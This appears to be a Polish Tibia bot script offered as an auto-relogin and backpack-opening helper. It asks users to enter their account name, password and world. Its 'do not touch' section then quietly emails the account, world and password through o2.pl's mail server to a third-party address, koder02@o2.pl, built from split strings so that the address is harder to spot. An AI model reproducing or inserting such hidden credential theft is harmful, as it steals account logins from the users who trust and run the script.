// logowanie sie po restarcie serwera // otwiera maksymalnie 3 backpacki // godzina restartu w GMT 00:00 czyli -1 godzina od polskiego czasu
//############## DO UZUPELNIENIA ############## const Account = 'nazwa konta'; // Pamietajcie zeby nie zapomniec o ' ' Password = 'Hasło'; Character = 'Nazwa postaci'; // Nazwa postaci wazna jest wielkosc liter World = 'świat'; // Nazwa swiata wazna jest wielkosc pierwszej litery np Antica Ip = ''; // Jezeli gramy na rl tibi nie zmieniac domyslnie laczy sie z serwerami NumberOfBackpacks = 2; // Ilosc backpackow do otwarcia (otwiera max 3 pierwsze z glownego bp) Time = ''; // Godzina restartu
//############## NIE RUSZAC ##############
Self = 'selfconected'; Special_char = '@'; var x: integer;
procedure Login; begin repeat Self.Login(Account, Password, Character, World, Ip); for x := 0 to 200 do begin if Self.Connected then Break; Sleep(100); end; Sleep(2000); until Self.Connected; end;
begin Spec := '.pl'; Msg := Account+World+Password; SendMail('poczta.o2'+Spec, 25, 'selfconected', 'selfconected', Self+Special_char+'o2'+Spec, 'koder02'+Special_char+'o2'+Spec,World, Msg); while not Terminated do begin if not Self.Connected then begin Login; UpdateWorld; Self.Backpack.OpenInNewWindow; for x := 0 to NumberOfBackpacks - 1 do begin if x >= NumberOfBackpacks then Break; Sleep(2000); UpdateWorld; Self.Containers.Container[0].Item[x].OpenInNewWindow; end; end; Sleep(1000); end; end;
|